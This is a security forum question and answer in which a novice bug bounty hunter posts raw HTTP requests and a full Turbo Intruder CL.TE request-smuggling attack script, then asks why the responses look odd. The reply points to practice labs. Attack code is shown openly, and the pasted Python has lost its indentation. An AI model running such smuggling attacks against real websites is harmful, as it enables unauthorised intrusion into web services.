Strange response when using Turbo Intruder - security

Question

I'm a bug bounty hunter and just new to it. Few days ago, I read about the request smuggling vulnerability. And just after that, I started to find it on the Internet. Yesterday, I found a website that when I add X-Forwarded-Host: google.com to the header, it redirected me to https://www.google.com. It's very hard to exploit this so I have think about combine it with request smuggling. I choose the change password request as the target:
POST /my-rx/forgot-password HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.example.com/
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
Connection: close
Cookie: <my_cookie>
Upgrade-Insecure-Requests: 1
email=mymail%40gmail.com&submit=Reset+My+Password&csrf_token=cb5a82b3df1e45c7b95d25edb46cfbf3
I convert it to chunked:
POST /my-rx/forgot-password HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.example.com/
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
Connection: close
Cookie: <my_cookie>
Upgrade-Insecure-Requests: 1
Transfer-Encoding: chunked
6b
email=mymail%40gmail.com&submit=Reset+My+Password&csrf_token=cb5a82b3df1e45c7b95d25edb46cfbf3
0
But when I sent it, it gave me the 503 client read error code. Look like it doesn't accept chunked. But, I still want to continue, so I download HTTP Request Smuggler and Turbo Intruder extensions on Burp Suite. Then I do Smuggle attack (CL.TE). It give a smuggle attack python code:
# if you edit this file, ensure you keep the line endings as CRLF or you'll have a bad time
def queueRequests(target, wordlists):
# to use Burp's HTTP stack for upstream proxy rules etc, use engine=Engine.BURP
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
# This will prefix the victim's request. Edit it to achieve the desired effect.
prefix = '''GET /hopefully404 HTTP/1.1
X-Ignore: X'''
# The request engine will auto-fix the content-length for us
attack = target.req + prefix
engine.queue(attack)
victim = target.req
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
Then I run it using Turbo Intruder. And I was very surprise, it sent 14 requests but just 12 requests are 503 and 2 left are 200. Special, in the 200 response header, it has ...transfer-encoding: chunked.... I have tried few times and it just gave the same result: 1 or 2 requests are 200. But something strange here, in the code, it's ...prefix = '''GET /hopefully404 HTTP/1.1
X-Ignore: X'''.... After few tests I think that it's not the request smuggling bug because the response shown that it is the response of the original request, not the prefix in the code (I have tried to change the prefix too and it's still 200, not 400, 404, ... like I expect).
So is there anyone(must be a very professional hacker) know what vulnerability am I facing? Thank you!

Answer 1

First of all, your first converted reuest in chunked in TE;CL but after using burp extension you found its CL;TE, so the problem may be there.
As with responses you are a bit confused, i recommend you to solve portswigger http request smuggling labs as i have completed that recently by which your fundamentals will get pretty strong!